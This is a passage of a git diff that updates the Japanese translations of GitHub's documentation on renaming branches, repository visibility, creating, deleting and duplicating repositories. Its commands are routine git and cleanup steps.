 {% data reusables.repositories.navigate-to-branches %}
-1. In the list of branches, to the right of the branch you want to rename, click {% octicon "pencil" aria-label="The edit icon" %}.
-    ![Pencil icon to the right of branch you want to rename](/assets/images/help/branch/branch-rename-edit.png)
-1. Type a new name for the branch.
-    ![Text field for typing new branch name](/assets/images/help/branch/branch-rename-type.png)
-1. Review the information about local environments, then click **Rename branch**.
-    ![Local environment information and "Rename branch" button](/assets/images/help/branch/branch-rename-rename.png)
+1. ブランチのリストで、名前を変更するブランチの右にある {% octicon "pencil" aria-label="The edit icon" %} をクリックします。 ![名前を変更するブランチの右にある鉛筆アイコン](/assets/images/help/branch/branch-rename-edit.png)
+1. ブランチの新しい名前を入力します。 ![新しいブランチ名を入力するためのテキストフィールド](/assets/images/help/branch/branch-rename-type.png)
+1. ローカル環境についての情報を確認し、[**Rename branch**] をクリックします。 ![ローカル環境情報と [Rename branch] ボタン](/assets/images/help/branch/branch-rename-rename.png)
 
-## Updating a local clone after a branch name changes
+## ブランチ名の変更後にローカルクローンを更新する
 
-After you rename a branch in a repository on {% data variables.product.product_name %}, any collaborator with a local clone of the repository will need to update the clone.
+{% data variables.product.product_name %} 上のリポジトリにあるブランチ名の変更後、そのリポジトリのローカルクローンのコラボレータは、クローンを更新する必要があります。
 
-From the local clone of the repository on a computer, run the following commands to update the name of the default branch.
+コンピュータ上にあるリポジトリのローカルクローンから、以下のコマンドを実行してデフォルトブランチ名を更新します。
 
 ```shell
 $ git branch -m <em>OLD-BRANCH-NAME</em> <em>NEW-BRANCH-NAME</em>
@@ -47,7 +45,7 @@ $ git branch -u origin/<em>NEW-BRANCH-NAME</em> <em>NEW-BRANCH-NAME</em>
 $ git remote set-head origin -a
 ```
 
-Optionally, run the following command to remove tracking references to the old branch name.
+必要に応じて次のコマンドを実行し、古いブランチ名への追跡参照を削除します。
 ```
 $ git remote prune origin
 ```
diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/about-repositories.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/about-repositories.md
index 57a56440e4..ba608179e4 100644
--- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/about-repositories.md
+++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/about-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: About repositories
-intro: A repository contains all of your project's files and each file's revision history. You can discuss and manage your project's work within the repository.
+title: リポジトリについて
+intro: リポジトリには、プロジェクトのすべてのファイルと各ファイルの改訂履歴が含まれています。 リポジトリ内でプロジェクトの作業について話し合い、管理できます。
 redirect_from:
   - /articles/about-repositories
   - /github/creating-cloning-and-archiving-repositories/about-repositories
@@ -20,29 +20,29 @@ topics:
   - Repositories
 ---
 
-## About repositories
+## リポジトリについて
 
-You can own repositories individually, or you can share ownership of repositories with other people in an organization.
+リポジトリを個人として所有することも、リポジトリの所有権を Organization 内の他の人々と共有することもできます。
 
-You can restrict who has access to a repository by choosing the repository's visibility. For more information, see "[About repository visibility](#about-repository-visibility)."
+リポジトリの表示設定を選択して、リポジトリにアクセスできるユーザを制限できます。 詳細は「[リポジトリの可視性について](#about-repository-visibility)」を参照してください。
 
-For user-owned repositories, you can give other people collaborator access so that they can collaborate on your project. If a repository is owned by an organization, you can give organization members access permissions to collaborate on your repository. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+ユーザが所有するリポジトリでは、他の人々にコラボレーターアクセスを与えて、プロジェクトでコラボレーションするようにできます。 リポジトリが Organization によって所有されている場合は、Organization のメンバーにアクセス権限を与え、リポジトリ上でコラボレーションするようにできます。 For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
 {% ifversion fpt or ghec %}
-With {% data variables.product.prodname_free_team %} for user accounts and organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. To get advanced tooling for private repositories, you can upgrade to {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
+ユーザアカウントと Organization の {% data variables.product.prodname_free_team %} を使用すると、完全な機能セットを備えた無制限のパブリックリポジトリ、または機能セットを制限した無制限のプライベートリポジトリで無制限のコラボレータと連携できます。 プライベートリポジトリの高度なツールを入手するには、 {% data variables.product.prodname_pro %}、{% data variables.product.prodname_team %}、または {% data variables.product.prodname_ghe_cloud %} にアップグレードします。 {% data reusables.gated-features.more-info %}
 {% else %}
-Each person and organization can own unlimited repositories and invite an unlimited number of collaborators to all repositories.
+各個人および Organization は、無制限のリポジトリを所有でき、すべてのリポジトリにコラボレータを何人でも招待できます。
 {% endif %}
 
-You can use repositories to manage your work and collaborate with others.
-- You can use issues to collect user feedback, report software bugs, and organize tasks you'd like to accomplish. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues)."{% ifversion fpt or ghec %}
+リポジトリを使用して、作業を管理し、他のユーザと共同作業を行うことができます。
+- Issue を使用して、ユーザフィードバックの収集、ソフトウェアバグの報告、および実行するタスクの整理を行うことができます。 詳しい情報については「[Issue について](/github/managing-your-work-on-github/about-issues)」を参照してください。{% ifversion fpt or ghec %}
 - {% data reusables.discussions.you-can-use-discussions %}{% endif %}
-- You can use pull requests to propose changes to a repository. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)."
-- You can use project boards to organize and prioritize your issues and pull requests. For more information, see "[About project boards](/github/managing-your-work-on-github/about-project-boards)."
+- プルリクエストを使用して、リポジトリへの変更を提案できます。 詳しい情報については[プルリクエストについて](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)を参照してください。
+- プロジェクトボードを使用して、Issue とプルリクエストを整理して優先順位を付けることができます。 詳細は「[プロジェクトボードについて](/github/managing-your-work-on-github/about-project-boards)」を参照してください。
 
 {% data reusables.repositories.repo-size-limit %}
 
-## About repository visibility
+## リポジトリの可視性について
 
 You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion ghes or ghec %}public, internal, or private{% elsif ghae %}private or internal{% else %} public or private{% endif %}.
 
@@ -57,26 +57,26 @@ When you create a repository owned by your user account, the repository is alway
 {% endif %}
 
 {%- ifversion fpt or ghec %}
-- Public repositories are accessible to everyone on the internet.
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- パブリックリポジトリには、インターネット上のすべてのユーザがアクセスできます。
+- プライベートリポジトリには、自分、明示的にアクセスを共有するユーザ、および Organization リポジトリの場合は特定の Organization メンバーのみがアクセスできます。
 {%- elsif ghes %}
-- If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.product.product_location %}, including outside collaborators.
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. そうではない場合、外部のコラボレータを含め、{% data variables.product.product_location %} を使用するすべてのユーザがパブリックリポジトリを利用できます。
+- プライベートリポジトリには、自分、明示的にアクセスを共有するユーザ、および Organization リポジトリの場合は特定の Organization メンバーのみがアクセスできます。
 {%- elsif ghae %}
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- プライベートリポジトリには、自分、明示的にアクセスを共有するユーザ、および Organization リポジトリの場合は特定の Organization メンバーのみがアクセスできます。
 {%- endif %}
 {%- ifversion ghec or ghes or ghae %}
-- Internal repositories are accessible to all enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)."
+- 内部リポジトリには、すべての Enterprise メンバーがアクセスできます。 詳しい情報については、「[内部リポジトリについて](#about-internal-repositories)」を参照してください。
 {%- endif %}
 
-Organization owners always have access to every repository created in an organization. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Organization のオーナーは、Organization 内で作成されたすべてのリポジトリにいつでもアクセスできます。 For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
-People with admin permissions for a repository can change an existing repository's visibility. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."
+リポジトリの管理者権限を持つユーザは、既存のリポジトリの可視性を変更できます。 詳細は「[リポジトリの可視性を設定する](/github/administering-a-repository/setting-repository-visibility)」を参照してください。
 
 {% ifversion ghes or ghec or ghae %}
-## About internal repositories
+## インターナルリポジトリについて
 
-{% data reusables.repositories.about-internal-repos %} For more information on innersource, see {% data variables.product.prodname_dotcom %}'s whitepaper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+{% data reusables.repositories.about-internal-repos %}インナーソースに関する詳しい情報については、{% data variables.product.prodname_dotcom %}のホワイトペーパー「[インナーソース入門](https://resources.github.com/whitepapers/introduction-to-innersource/)」を参照してください。
 
 All enterprise members have read permissions to the internal repository, but internal repositories are not visible to people {% ifversion fpt or ghec %}outside of the enterprise{% else %}who are not members of any organization{% endif %}, including outside collaborators on organization repositories. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
@@ -90,43 +90,43 @@ All enterprise members have read permissions to the internal repository, but int
 
 {% data reusables.repositories.internal-repo-default %}
 
-Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. If a user is removed from all organizations owned by the enterprise, that user's forks of internal repositories are removed automatically.
+Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. Enterprise が所有するすべての Organization からユーザが削除されると、そのユーザの内部リポジトリのフォークは自動的に削除されます。
 {% endif %}
 
-## Limits for viewing content and diffs in a repository
+## リポジトリでコンテンツと diff の表示を制限する
 
-Certain types of resources can be quite large, requiring excessive processing on {% data variables.product.product_name %}. Because of this, limits are set to ensure requests complete in a reasonable amount of time.
+ある種のリソースはきわめて大きくなり、{% data variables.product.product_name %} で負荷の大きな処理が必要になる場合があります。 そのため、リクエストが妥当な時間で終わるように、制限が設けられています。
 
-Most of the limits below affect both {% data variables.product.product_name %} and the API.
+以下の制限の多くは {% data variables.product.product_name %}と API の両方に影響します。
 
-### Text limits
+### テキストの制限
 
-Text files over **512 KB** are always displayed as plain text. Code is not syntax highlighted, and prose files are not converted to HTML (such as Markdown, AsciiDoc, *etc.*).
+Text files over **512 KB** are always displayed as plain text. コードの構文は強調表示されず、prose ファイルは HTML (Markdown、AsciiDoc、*その他*) に変換されません。
 
-Text files over **5 MB** are only available through their raw URLs, which are served through `{% data variables.product.raw_github_com %}`; for example, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Click the **Raw** button to get the raw URL for a file.
+**5 MB** を超えるテキスト ファイルは raw URL を介してしか使用できません。これは `{% data variables.product.raw_github_com %}` を通じて、たとえば `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html` のように提供されます。 ファイルの raw URL を取得するには、[**Raw**] ボタンを押します。
 
-### Diff limits
+### diff の制限
 
-Because diffs can become very large, we impose these limits on diffs for commits, pull requests, and compare views:
+diff はきわめて大きくなることがあるため、コミット、プルリクエスト、比較ビューには制限が設けられています。
 
 - In a pull request, no total diff may exceed *20,000 lines that you can load* or *1 MB* of raw diff data.
-- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. *Four hundred lines* and *20 KB* are automatically loaded for a single file.
-- The maximum number of files in a single diff is limited to *300*.
-- The maximum number of renderable files (such as images, PDFs, and GeoJSON files) in a single diff is limited to *25*.
+- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. 1 つのファイルについては、*400 行*および *20 KB* が自動的にロードされます。
+- 1 つの diff あたりの最大ファイル数は *300* に制限されています。
+- 1 つの diff あたりで表示可能な最大ファイル数 (画像、PDF、GeoJSON ファイル) は、*25* です。
 
-Some portions of a limited diff may be displayed, but anything exceeding the limit is not shown.
+制限された diff の一部が表示される場合もありますが、制限を超える部分は表示されません。
 
-### Commit listings limits
+### コミット リストの制限
 
-The compare view and pull requests pages display a list of commits between the `base` and `head` revisions. These lists are limited to **250** commits. If they exceed that limit, a note indicates that additional commits are present (but they're not shown).
+比較ビューとプルリクエストのページでは、`base` リビジョンと `head` リビジョンの間にコミットのリストが表示されます。 このリストは **250** コミットに制限されています。 その制限を超える場合は、追加のコミットがあるという注意書きが表示されます (コミット自体は表示されません)。
 
-## Further reading
+## 参考リンク
 
-- "[Creating a new repository](/articles/creating-a-new-repository)"
-- "[About forks](/github/collaborating-with-pull-requests/working-with-forks/about-forks)"
-- "[Collaborating with issues and pull requests](/categories/collaborating-with-issues-and-pull-requests)"
-- "[Managing your work on {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)"
-- "[Administering a repository](/categories/administering-a-repository)"
-- "[Visualizing repository data with graphs](/categories/visualizing-repository-data-with-graphs/)"
-- "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)"
-- "[{% data variables.product.prodname_dotcom %} glossary](/articles/github-glossary)"
+- 「[新しいリポジトリを作成する](/articles/creating-a-new-repository)」
+- 「[フォークについて](/github/collaborating-with-pull-requests/working-with-forks/about-forks)」
+- [Issue とプルリクエストでのコラボレーション](/categories/collaborating-with-issues-and-pull-requests)
+- 「[{% data variables.product.prodname_dotcom %}での作業を管理する](/categories/managing-your-work-on-github/)」
+- [リポジトリの管理](/categories/administering-a-repository)
+- [グラフによるリポジトリデータの可視化](/categories/visualizing-repository-data-with-graphs/)
+- 「[ウィキについて](/communities/documenting-your-project-with-wikis/about-wikis)」
+- [{% data variables.product.prodname_dotcom %} 用語集](/articles/github-glossary)
diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/cloning-a-repository.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
index 773823b521..e65fb586b7 100644
--- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
+++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
@@ -25,8 +25,6 @@ topics:
 
 ## リポジトリをクローンする
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
index a8a463dce3..2627f92c11 100644
--- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
+++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a new repository
-intro: You can create a new repository on your personal account or any organization where you have sufficient permissions.
+title: 新しいリポジトリの作成
+intro: 個人アカウントや必要な権限を持つどのような Organization にも新しいリポジトリを作成できます。
 redirect_from:
   - /creating-a-repo
   - /articles/creating-a-repository-in-an-organization
@@ -19,41 +19,39 @@ versions:
 topics:
   - Repositories
 ---
+
 {% tip %}
 
-**Tip:** Owners can restrict repository creation permissions in an organization. For more information, see "[Restricting repository creation in your organization](/articles/restricting-repository-creation-in-your-organization)."
+**ヒント:** オーナーは Organization でのリポジトリの作成権限を制限できます。 詳しい情報については「[Organization でのリポジトリ作成の制限](/articles/restricting-repository-creation-in-your-organization)」を参照してください。
 
 {% endtip %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
 {% tip %}
 
-**Tip**: You can also create a repository using the {% data variables.product.prodname_cli %}. For more information, see "[`gh repo create`](https://cli.github.com/manual/gh_repo_create)" in the {% data variables.product.prodname_cli %} documentation.
+**ヒント**: {% data variables.product.prodname_cli %} を使用してリポジトリを作成することもできます。 詳しい情報については、{% data variables.product.prodname_cli %} ドキュメントの「[`gh repo create`](https://cli.github.com/manual/gh_repo_create)」を参照してください。
 
 {% endtip %}
 {% endif %}
 
 {% data reusables.repositories.create_new %}
-2. Optionally, to create a repository with the directory structure and files of an existing repository, use the **Choose a template** drop-down and select a template repository. You'll see template repositories that are owned by you and organizations you're a member of or that you've used before. For more information, see "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)."
-  ![Template drop-down menu](/assets/images/help/repository/template-drop-down.png){% ifversion fpt or ghae or ghes or ghec %}
-3. Optionally, if you chose to use a template, to include the directory structure and files from all branches in the template, and not just the default branch, select **Include all branches**.
-    ![Include all branches checkbox](/assets/images/help/repository/include-all-branches.png){% endif %}
-3. In the Owner drop-down, select the account you wish to create the repository on.
-   ![Owner drop-down menu](/assets/images/help/repository/create-repository-owner.png)
+2. また、既存のリポジトリのディレクトリ構造とファイルを持つリポジトリを作成するには、[**Choose a template**] ドロップダウンでテンプレートリポジトリを選択します。 あなたが所有するテンプレートリポジトリ、あなたがメンバーとして属する Organization が所有するテンプレートリポジトリ、使ったことがあるテンプレートリポジトリが表示されます。 詳細は「[テンプレートからリポジトリを作成する](/articles/creating-a-repository-from-a-template)」を参照してください。 ![Template drop-down menu](/assets/images/help/repository/template-drop-down.png){% ifversion fpt or ghae or ghes or ghec %}
+3. 必要に応じて、テンプレートを使用する場合、デフォルトのブランチだけでなく、テンプレートのすべてのブランチからのディレクトリ構造とファイルを含めるには、[**Include all branches**] を選択します。 ![Include all branches checkbox](/assets/images/help/repository/include-all-branches.png){% endif %}
+3. [Owner] ドロップダウンで、リポジトリを作成するアカウントを選択します。 ![[Owner] ドロップダウンメニュー](/assets/images/help/repository/create-repository-owner.png)
 {% data reusables.repositories.repo-name %}
 {% data reusables.repositories.choose-repo-visibility %}
-6. If you're not using a template, there are a number of optional items you can pre-populate your repository with. If you're importing an existing repository to {% data variables.product.product_name %}, don't choose any of these options, as you may introduce a merge conflict. You can add or create new files using the user interface or choose to add new files using the command line later. For more information, see "[Importing a Git repository using the command line](/articles/importing-a-git-repository-using-the-command-line/)," "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)," and "[Addressing merge conflicts](/articles/addressing-merge-conflicts/)."
-    - You can create a README, which is a document describing your project. For more information, see "[About READMEs](/articles/about-readmes/)."
-    - You can create a *.gitignore* file, which is a set of ignore rules. For more information, see "[Ignoring files](/github/getting-started-with-github/ignoring-files)."{% ifversion fpt or ghec %}
-    - You can choose to add a software license for your project. For more information, see "[Licensing a repository](/articles/licensing-a-repository)."{% endif %}
+6. テンプレートを使用していない場合は、リポジトリに自動入力できるオプションアイテムがいくつかあります。 既存のリポジトリを {% data variables.product.product_name %}にインポートする場合は、このようなオプションはどれも選択しないでください。マージコンフリクトが起きる可能性があります。 ユーザインターフェースを使用して新しいファイルを追加または作成する、またはコマンドラインを使用して後で新しいファイルを追加することができます。 For more information, see "[Importing a Git repository using the command line](/articles/importing-a-git-repository-using-the-command-line/)," "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)," and "[Addressing merge conflicts](/articles/addressing-merge-conflicts/)."
+    - 自分のプロジェクトについて説明するドキュメントである README を作成できます。 詳しい情報については「[README について](/articles/about-readmes/)」を参照してください。
+    - 無視するルールを記載した *.gitignore* ファイルを作成できます。 詳細は「[ファイルを無視する](/github/getting-started-with-github/ignoring-files)」を参照してください。{% ifversion fpt or ghec %}
+    - 自分のプロジェクトにソフトウェアライセンスを追加することができます。 詳細は「[リポジトリのライセンス](/articles/licensing-a-repository)」を参照してください。{% endif %}
 {% data reusables.repositories.select-marketplace-apps %}
 {% data reusables.repositories.create-repo %}
 {% ifversion fpt or ghec %}
-9. At the bottom of the resulting Quick Setup page, under "Import code from an old repository", you can choose to import a project to your new repository. To do so, click **Import code**.
+9. 表示された Quick Setup ページの下部、[Import code from an old repository] の下で、プロジェクトを自分の新しいリポジトリにインポートできます。 これを行うには、[**Import code**] をクリックします。
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Managing access to your organization's repositories](/articles/managing-access-to-your-organization-s-repositories)"
-- [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %}
+- "[Organization のリポジトリへのアクセスを管理する](/articles/managing-access-to-your-organization-s-repositories)"
+- [オープンソースガイド](https://opensource.guide/){% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
index e5428dc4c8..42b3671a57 100644
--- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
+++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating an issues-only repository
-intro: '{% data variables.product.product_name %} does not provide issues-only access permissions, but you can accomplish this using a second repository which contains only the issues.'
+title: Issue だけのリポジトリの作成
+intro: '{% data variables.product.product_name %}では Issue に限定されたアクセス権限は存在しませんが、Issue 専用のリポジトリを作成すれば、実質的にそのようなアクセス権限を設定できます。'
 redirect_from:
   - /articles/issues-only-access-permissions
   - /articles/is-there-issues-only-access-to-organization-repositories
@@ -16,11 +16,12 @@ topics:
   - Repositories
 shortTitle: Issues-only repository
 ---
-1. Create a **private** repository to host the source code from your project.
-2. Create a second repository with the permissions you desire to host the issue tracker.
-3. Add a README file to the issues repository explaining the purpose of this repository and linking to the issues section.
-4. Set your collaborators or teams to give access to the repositories as you desire.
 
-Users with write access to both can reference and close issues back and forth across the repositories, but those without the required permissions will see references that contain a minimum of information.
+1. **private** リポジトリを作成し、プロジェクトのソースコードをホストします。
+2. Issue トラッカーをホストするための権限を持つ 2 番目のリポジトリを作成します。
+3. このリポジトリの目的を説明し、Issue セクションと結びつける README ファイルを Issue リポジトリに追加します。
+4. 思うようにコラボレーターまたは Team にリポジトリへのアクセスを付与するよう設定します。
 
-For example, if you pushed a commit to the private repository's default branch with a message that read `Fixes organization/public-repo#12`, the issue would be closed, but only users with the proper permissions would see the cross-repository reference indicating the commit that closed the issue. Without the permissions, a reference still appears, but the details are omitted.
+どちらにも書き込みアクセスのあるユーザは、リポジトリ間でお互いに Issue を引用して閉じることができます。ただし、必要な権限がない場合は最低限の情報だけの参照を見ることしかできません。
+
+たとえば、プライベートリポジトリのデフォルトブランチに `Fixes organization/public-repo#12` というメッセージをつけてコミットをプッシュした場合、Issue は閉じられますが、Issue を閉じたコミットを示すリポジトリ間の参照は、適切な権限を持っているユーザだけしか見られません。 権限がなくても参照は表示されますが、詳細は省略されます。
diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
index f9f2013c0c..6a418efff8 100644
--- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
+++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a repository
-intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository.
+title: リポジトリの削除
+intro: Organization のオーナーである場合、あるいはリポジトリまたはフォークに対する管理者権限がある場合、任意のリポジトリまたはフォークを削除できます。 フォークしたリポジトリを削除しても、上流のリポジトリは削除されません。
 redirect_from:
   - /delete-a-repo
   - /deleting-a-repo
@@ -15,26 +15,25 @@ versions:
 topics:
   - Repositories
 ---
-{% data reusables.organizations.owners-and-admins-can %} delete an organization repository. If **Allow members to delete or transfer repositories for this organization** has been disabled, only organization owners can delete organization repositories. {% data reusables.organizations.new-repo-permissions-more-info %}
 
-{% ifversion not ghae %}Deleting a public repository will not delete any forks of the repository.{% endif %}
+{% data reusables.organizations.owners-and-admins-can %}Organization のリポジトリを削除できます。 [**Allow members to delete or transfer repositories for this organization**] が無効化されていると、Organization のオーナーだけが Organization のリポジトリを削除できます。 {% data reusables.organizations.new-repo-permissions-more-info %}
+
+{% ifversion not ghae %}パブリックリポジトリを削除しても、リポジトリのフォークは削除されません。{% endif %}
 
 {% warning %}
 
-**Warnings**:
+**警告**:
 
-- Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone.
+- リポジトリを削除すると、リリースの添付ファイルと Team の権限が**完全に**削除されます。 このアクションは取り消すことが**できません**。
 - Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository.
 
 {% endwarning %}
 
-Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
+Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. 詳しい情報については、「[削除されたリポジトリを復元する](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)」を参照してください。 {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-2. Under Danger Zone, click **Delete this repository**.
-   ![Repository deletion button](/assets/images/help/repository/repo-delete.png)
-3. **Read the warnings**.
-4. To verify that you're deleting the correct repository, type the name of the repository you want to delete.
-   ![Deletion labeling](/assets/images/help/repository/repo-delete-confirmation.png)
-5. Click **I understand the consequences, delete this repository**.
+2. [Danger Zone] の [**Delete this repository**] をクリックします。 ![リポジトリの削除ボタン](/assets/images/help/repository/repo-delete.png)
+3. **警告を読みます**。
+4. 削除しようとしているリポジトリに間違いがないことを確認するために、削除対象のリポジトリ名を入力します。 ![削除ラベル](/assets/images/help/repository/repo-delete-confirmation.png)
+5. [**I understand the consequences, delete this repository**] をクリックします。
diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
index 0cbb49c85b..7a0ca8396f 100644
--- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
+++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
@@ -1,5 +1,5 @@
 ---
-title: Duplicating a repository
+title: リポジトリを複製する
 intro: 'To maintain a mirror of a repository without forking it, you can run a special clone command, then mirror-push to the new repository.'
 redirect_from:
   - /articles/duplicating-a-repo
@@ -14,7 +14,8 @@ versions:
 topics:
   - Repositories
 ---
-{% ifversion fpt or ghec %} 
+
+{% ifversion fpt or ghec %}
 
 {% note %}
 
@@ -24,81 +25,81 @@ topics:
 
 {% endif %}
 
-Before you can push the original repository to your new copy, or _mirror_, of the repository, you must [create the new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. In these examples, `exampleuser/new-repository` or `exampleuser/mirrored` are the mirrors.
+Before you can push the original repository to your new copy, or _mirror_, of the repository, you must [create the new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. 以下の例では、`exampleuser/new-repository` および `exampleuser/mirrored` がミラーです。
 
-## Mirroring a repository
+## リポジトリをミラーする
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a bare clone of the repository.
+2. リポジトリのベアクローンを作成します。
   ```shell
   $ git clone --bare https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>old-repository</em>.git
   ```
-3. Mirror-push to the new repository.
+3. 新しいリポジトリをミラープッシュします。
   ```shell
   $ cd <em>old-repository</em>
   $ git push --mirror https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>new-repository</em>.git
   ```
-4. Remove the temporary local repository you created earlier.
+4. 先ほど作成した一時ローカルリポジトリを削除します。
   ```shell
   $ cd ..
   $ rm -rf <em>old-repository</em>
   ```
 
-## Mirroring a repository that contains {% data variables.large_files.product_name_long %} objects
+## {% data variables.large_files.product_name_long %} オブジェクトを含むリポジトリをミラーする
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a bare clone of the repository. Replace the example username with the name of the person or organization who owns the repository, and replace the example repository name with the name of the repository you'd like to duplicate.
+2. リポジトリのベアクローンを作成します。 ユーザ名の例をリポジトリを所有する人や Organization の名前に置き換え、リポジトリ名の例を複製したいリポジトリの名前に置き換えてください。
   ```shell
   $ git clone --bare https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>old-repository</em>.git
   ```
-3. Navigate to the repository you just cloned.
+3. クローンしたリポジトリに移動します。
   ```shell
   $ cd <em>old-repository</em>
   ```
-4. Pull in the repository's {% data variables.large_files.product_name_long %} objects.
+4. リポジトリの {% data variables.large_files.product_name_long %} オブジェクトをプルします。
   ```shell
   $ git lfs fetch --all
   ```
-5. Mirror-push to the new repository.
+5. 新しいリポジトリをミラープッシュします。
   ```shell
   $ git push --mirror https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>new-repository</em>.git
   ```
-6. Push the repository's {% data variables.large_files.product_name_long %} objects to your mirror.
+6. リポジトリの {% data variables.large_files.product_name_long %} オブジェクトをミラーにプッシュします。
   ```shell
   $ git lfs push --all https://github.com/<em>exampleuser/new-repository.git</em>
   ```
-7. Remove the temporary local repository you created earlier.
+7. 先ほど作成した一時ローカルリポジトリを削除します。
   ```shell
   $ cd ..
   $ rm -rf <em>old-repository</em>
   ```
 
-## Mirroring a repository in another location
